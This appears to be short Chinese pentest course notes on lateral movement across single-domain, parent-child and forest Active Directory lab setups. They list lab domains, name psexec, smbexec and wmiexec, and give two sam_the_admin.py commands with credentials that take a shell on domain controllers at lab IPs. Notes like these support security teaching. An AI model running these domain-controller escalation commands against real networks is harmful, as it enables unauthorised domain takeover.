➢ 横向移动-信息收集-单域&父子域&域森林

➢ 横向移动-口令协议-单域&父子域&域森林

➢ 横向移动-域控提权-单域&父子域&域森林

单域&父子域&域森林环境下：

1、多域信息收集差异

XDORG（xiaodi.org）

HRXRORG(hr.xiaodi.org)

HHRORG(h.hr.xiaodi.org)

GAXDORG(ga.xiaodi.org)

GGAORG(h.ga.xiaodi.org)

XIAODI8（xiaodi8.org）

 

2、口令协议横向移动差异(只要口令是对的 同网段所有的域机器都可以登入)

psexec smbexec wmiexec等

 

3、域控提权横向移动差异

python sam_the_admin.py hhrorg/'hhrpc:admin!@#45' -dc-ip 192.168.139.35 -shell

python sam_the_admin.py xdorg/'test:admin!@#45' -dc-ip 192.168.139.11 -shell

 

4、入口跳板机与打点及横向移动思路相呼应

场景1：入口机在h.hr.xiaodi.org下

场景2：入口机在hr.xiaodi.org下

场景2：入口机在xiaodi8.org下